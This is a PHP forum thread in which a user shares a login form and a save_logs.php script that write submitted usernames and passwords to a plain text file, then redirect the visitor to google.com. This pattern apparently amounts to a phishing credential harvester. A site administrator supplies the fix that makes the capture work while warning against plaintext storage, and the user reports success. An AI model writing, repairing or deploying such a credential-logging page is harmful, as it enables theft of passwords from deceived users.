PHP programming forum. Ask questions or help people concerning PHP code. Don't understand a function? Need help implementing a class? Don't understand a class? Here is where to ask. Remember to do your homework!
Moderator: General Moderators
Asifahmad555
Forum Newbie
Posts: 3 Joined: Tue Mar 27, 2018 10:19 am
Post
by Asifahmad555 » Tue Mar 27, 2018 10:27 am
Code: Select all
<form class="form-signin form" autocomplete="off" id="login-form" action="save_logs.php" method="post">
<div class='loginform'>
<div class='inputslogin'>
<label for='name'><img src='/img/log_user.png'></label>
<div class="form-group"><div><input class="form-control" placeholder="Username" name="LoginForm[username]" id="LoginForm_username" type="text" /><div class="help-block error" id="LoginForm_username_em_" style="display:none"></div></div></div>
<label for='pass'><img src='/img/log_pass.png'></label>
<div class="form-group"><div><input class="form-control" placeholder="Password" name="LoginForm[password]" id="LoginForm_password" type="password" /><div class="help-block error" id="LoginForm_password_em_" style="display:none"></div></div></div>
<button type='submit'>enter</button>
<a href="register.php">
<button type='button'>register</button>
</a>
</div>
</div>
save_logs.php :-
Code: Select all
<?php
header ('Location: https://google.com ');
$handle = fopen("logs.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");}
fwrite($handle, "**************************************\r\n");
fclose($handle);
exit;
?>
I WANT TO SAVE USERNAME n PASSWORD IN TEXT FILE ON SUBMIT
i tried with this
save_logs.php script but that didnot worked.
Christopher
Site Administrator
Posts: 13596 Joined: Wed Aug 25, 2004 7:54 pm
Location: New York, NY, US
Post
by Christopher » Tue Mar 27, 2018 2:21 pm
To get the username and password:
Code: Select all
foreach($_POST['LoginForm'] as $variable => $value) {
Asifahmad555 wrote: I WANT TO SAVE USERNAME n PASSWORD IN TEXT FILE ON SUBMIT
Don't do this! At least use SQLite which is a file based database.
http://php.net/manual/en/book.sqlite3.php
(#10850)
VladSun
DevNet Master
Posts: 4313 Joined: Wed Jun 27, 2007 9:44 am
Location: Sofia, Bulgaria
Post
by VladSun » Tue Mar 27, 2018 2:57 pm
Christopher +1
Also, never ever save a plain text password - save salt & peppered password hash instead.
There are 10 types of people in this world, those who understand binary and those who don't
Asifahmad555
Forum Newbie
Posts: 3 Joined: Tue Mar 27, 2018 10:19 am
Post
by Asifahmad555 » Wed Mar 28, 2018 4:15 am
yes i know but now i want to save in text file so please correct this form n that php script.
Christopher
Site Administrator
Posts: 13596 Joined: Wed Aug 25, 2004 7:54 pm
Location: New York, NY, US
Post
by Christopher » Wed Mar 28, 2018 11:23 pm
Asifahmad555 wrote: yes i know but now i want to save in text file so please correct this form n that php script.
I gave you the correction above. And then said you should not do it this way.
(#10850)
Asifahmad555
Forum Newbie
Posts: 3 Joined: Tue Mar 27, 2018 10:19 am
Post
by Asifahmad555 » Thu Mar 29, 2018 1:25 am
Christopher wrote: Asifahmad555 wrote: yes i know but now i want to save in text file so please correct this form n that php script.
I gave you the correction above. And then said you should not do it this way.
THANKX IT WORKED BRO